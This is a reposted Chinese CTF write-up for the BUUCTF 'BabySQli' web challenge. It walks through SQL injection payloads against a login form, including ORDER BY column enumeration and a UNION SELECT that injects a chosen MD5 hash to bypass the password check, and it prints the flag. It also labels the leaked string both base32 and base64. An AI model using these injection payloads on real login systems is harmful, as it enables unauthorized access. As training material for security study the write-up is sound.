BUUCTF - Web - BabySQli
2021/11/26 19:39:56
本文主要是介绍BUUCTF - Web - BabySQli,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
BabySQli
拿到一个登录框
随便填些信息登录一下
这里用户名不是admin
的话会提示用户名错误,其他都提示密码错误,看来admin
就是正确用户名
可以看到返回页面有注释MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
这串字符不区分大小写,只有[A-z2-7],看来是base32
这很显然是base64
解码出来了一段sql语句:select * from user where username = '$name'
可以看到查询语句中的$name
被单引号闭合了,尝试用单引号闭合name=admin' or 1=1 -- qwe&pw=123
查字段:name=admin' order by 2 -- qwe&pw=123
存在绕过,换大写试试:name=admin' ORDER BY 4 -- qwe&pw=123
最后查出来三个字段
判断用户名所在字段:name=1' UNION SELECT 'admin',2,3 -- qwe&pw=asd
no user
,把用户名放到第二位查询:name=1' UNION SELECT 1,'admin',3 -- qwe&pw=asd
看来用户名被存在第二个字段,无法查出数据,可能后端是利用两个if
语句来验证用户名密码的
构造payload
我们不知道admin的密码,这时可以随便写,当联合查询不存在的数据时,只要字段一致,数据库会将该数据与原数据合起来输出
我们可以看到,数据库不光显示了我联合查询的数据,也显示了使where
成立的数据
一般密码是使用哈希算法计算后存储在数据库中的,那么我们也可以将asd
进行哈希加密(asd是随便写的)
先试试MD5:7815696ecbf1c96e6894b779456d330e
这里的第三位要与后面密码位保持一致:name=1' UNION SELECT 1,'admin','7815696ecbf1c96e6894b779456d330e' -- qwe&pw=asd
得到:flag{b13f4d63-8b0e-47ef-aee6-a6c31fe6f091}
总结
这道题可能也不是很难,但确实有爽到我
又一次体会到了拿到flag的乐趣!
这篇关于BUUCTF - Web - BabySQli的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-15在使用平台私钥进行解密时提示 "私钥解密失败" 错误信息是什么原因?-icode9专业技术文章分享
- 2024-11-15Layui框架有哪些方式引入?-icode9专业技术文章分享
- 2024-11-15Layui框架中有哪些减少对全局环境的污染方法?-icode9专业技术文章分享
- 2024-11-15laydate怎么关闭自动的日期格式校验功能?-icode9专业技术文章分享
- 2024-11-15laydate怎么取消初始日期校验?-icode9专业技术文章分享
- 2024-11-15SendGrid 的邮件发送时,怎么设置回复邮箱?-icode9专业技术文章分享
- 2024-11-15使用 SendGrid API 发送邮件后获取到唯一的请求 ID?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 tags标签最多有多少个?-icode9专业技术文章分享
- 2024-11-15mailgun 发送邮件 怎么批量发送给多个人?-icode9专业技术文章分享
- 2024-11-15如何搭建web开发环境并实现 web项目在浏览器中访问?-icode9专业技术文章分享